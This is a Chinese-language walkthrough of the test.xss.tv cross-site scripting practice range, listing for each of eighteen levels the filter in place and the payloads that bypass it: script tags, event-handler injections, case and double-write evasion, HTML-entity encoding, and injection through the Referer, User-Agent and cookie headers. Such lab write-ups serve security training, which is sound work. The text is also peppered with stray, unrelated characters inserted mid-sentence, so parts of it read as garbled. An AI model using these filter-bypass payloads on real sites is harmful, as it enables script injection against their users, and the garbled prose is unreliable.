在線靶場:http://test.xss.tv/
源碼:https://pan.baidu.com/s/1zS2GwTNbMBXEF2yNEBeLgA 密碼:85g8
靶場首頁是這樣的:
第一關
沒有任何過濾.
payload:
<script>alert(1)</script>
<svg/onload=alert(1)>
<script>prompt("完成的不錯寇荧!")</script>
<script>confirm("完成的不錯!")</script>
第二關
htmlspecialchars()函數(shù)把預定義的字符轉換為 HTML 實體谷扣。
預定義的字符是:
& (和號)成為 &
" (雙引號)成為 "
' (單引號)成為 '
< (小于)成為 <
> (大于)成為 >
如需把特殊的 HTML 實體轉換回字符冈闭,使用htmlspecialchars_decode()函數(shù)囊陡。
htmlspecialchars()只在輸出點過濾,并沒有在輸入點過濾。
payload:
" onclick=alert(2) // 點擊搜索框彈框
" onmouseover=alert(1)> //鼠標劃過輸入框彈框
"><script>alert(2)</script>
"><script>prompt("完成的不錯!")</script>
"><script>confirm("完成的不錯摇零!")</script>
第三關
輸入點和輸出點都做了過濾。
payload:
‘ oninput=alert`3`
‘ oninput=alert`3` // 輸入后桶蝎,再在彈框輸入字符
' oninput=alert`1` '
' onchange=alert`1` // 輸入后驻仅,再在彈框輸入字符并點擊搜索
' onchange=alert`1` '
第四關
將輸入輸入中的<>置空。
將第三關前面用來閉合的單引號改成雙引號即可登渣。
payload:
" oninput=alert`3` // (輸入后噪服,再在彈框輸入字符)
" oninput=alert`1` '
" onchange=alert`1` // (輸入后,再在彈框輸入字符并點擊搜索)
" onchange=alert`1` '
第五關
首先將輸入內(nèi)容全部轉換為小寫胜茧,然后如果檢測有<script就轉換為<scr_ipt粘优,再檢測如果有on就轉換為o_n
不讓用<script>和事件了,這里用鏈接繞過。
payload:
"><a href="javascript:alert(1)">
"> <a href="javascript:alert('xss')">111</a> //
第六關
過濾<script雹顺、on丹墨、src、data嬉愧、href贩挣,但是過濾前沒有使用strtolower()全部轉換成小寫∮⑷荆可以大小寫繞過揽惹。
payload:
"><ScRipt>prompt(6)</script>
" oNchange=alert(6) //
" Oninput=alert(6) //
"><img Src=x Onerror=alert(6)> //
第七關
這關使用了strtolower函數(shù),不能大小寫繞過了四康,不過檢測到關鍵字后置空搪搏,可以使用雙寫繞過。
payload:
"><sscriptcript>alert(7)</scscriptript>
" oonnchange=alert`7` //
"><img ssrcrc=x oonnerror=alert(6)> //
"> <a hrhrefef="javascscriptript:alert('xss')">111</a> //
第八關
輸入點使用htmlspecialchars函數(shù)過濾闪金,不能雙寫繞過疯溺,不能大小寫繞過,過濾了雙引號哎垦〈涯郏可以編碼繞過,使用HTML實體編碼漏设。
payload:
javascript:alert(1)轉換為HTML實體:
javascript:alert(1)
由于過濾的是script墨闲,也可以只轉換script:
javascript:alert(7)
輸入完提交,然后點友情鏈接即可郑口。
第九關
strpos() 函數(shù)查找字符串在另一字符串中第一次出現(xiàn)的位置鸳碧。(對大小寫敏感)
相關函數(shù):
stripos() - 查找字符串在另一字符串中第一次出現(xiàn)的位置(不區(qū)分大小寫)
strripos() - 查找字符串在另一字符串中最后一次出現(xiàn)的位置(不區(qū)分大小寫)
strrpos() - 查找字符串在另一字符串中最后一次出現(xiàn)的位置(區(qū)分大小寫)
和第8關過濾一樣,區(qū)別是這關還會檢查輸入數(shù)據(jù)中是否有http://犬性。
payload:
javascript:alert("http:// ")
轉換HTML實體:
javascript:alert("http:// ")
也可以只保留http://瞻离,剩下的全部轉換為html實體:
javascript:alert("http://")
第十關
t_sort沒有進行過濾但是被隱藏了,不過并不影響傳參乒裆。
payload:
url=&t_sort=" type="text" onclick="alert()
?t_sort=4" onclick=alert(1) type="text"
?keyword=888888&t_sort=" type="" onclick="alert()
?keyword=well done!&t_sort=" onmouseover=alert(1) type="text"
?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)
第十一關
獲取http頭中referer的值套利,所以在referer中寫就好了。
payload:
" onmouseover=alert(11) type="text"
第十二關
和11關思路一樣鹤耍,這次是在user-agent
payload:
" onmouseover=alert(12) type=""
第十三關
在cookie中注入
payload:
" onmouseover=alert(13) type=""
第十四關
14關有些問題肉迫,看一些大佬的教程應該會有個上傳文件的功能,但是這里什么都沒有顯示出來惰蜜。
這關是利用修改exif信息昂拂,在exif信息中寫入xss代碼,然后上傳上去抛猖,別人點擊這個圖片就會中招格侯”翘可以去烏云鏡像站看一下案例,關鍵字:exif
第十五關
這關用到了ng-include联四,直接在包含的頁面里用 <script> 觸發(fā)不了撑碴,用了img標簽。
遵循SOP朝墩,只好調(diào)用第一關代碼醉拓。需要單引號包裹,否則變成注釋收苏。
這關看大佬的payload是這樣的:level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'
亿卤,但是我沒做出來
第十六關
先將輸入字符轉換為小寫,然后過濾script鹿霸、空格排吴、/
用%0d、%0a代替空格做分割符懦鼠。
payload:
keyword=<img%0Dsrc=a%0Aonerror=alert(16)>
keyword=<svg%0aonload=alert`1`></svg>
第十七關
輸出點在url中钻哩,被htmlspecialchars()函數(shù)過濾了一遍,用事件肛冶。
payload:
level17.php?arg01=a&arg02=b onmouseover=alert(18)
第十八關
感覺和17關沒什么區(qū)別
payload:
level18.php?arg01=a&arg02=b onmouseout=alert(1)
參考鏈接:
XSS挑戰(zhàn)之旅---游戲通關攻略(更新至18關)
XSS挑戰(zhàn)之旅 解題記錄
xss挑戰(zhàn)平臺練習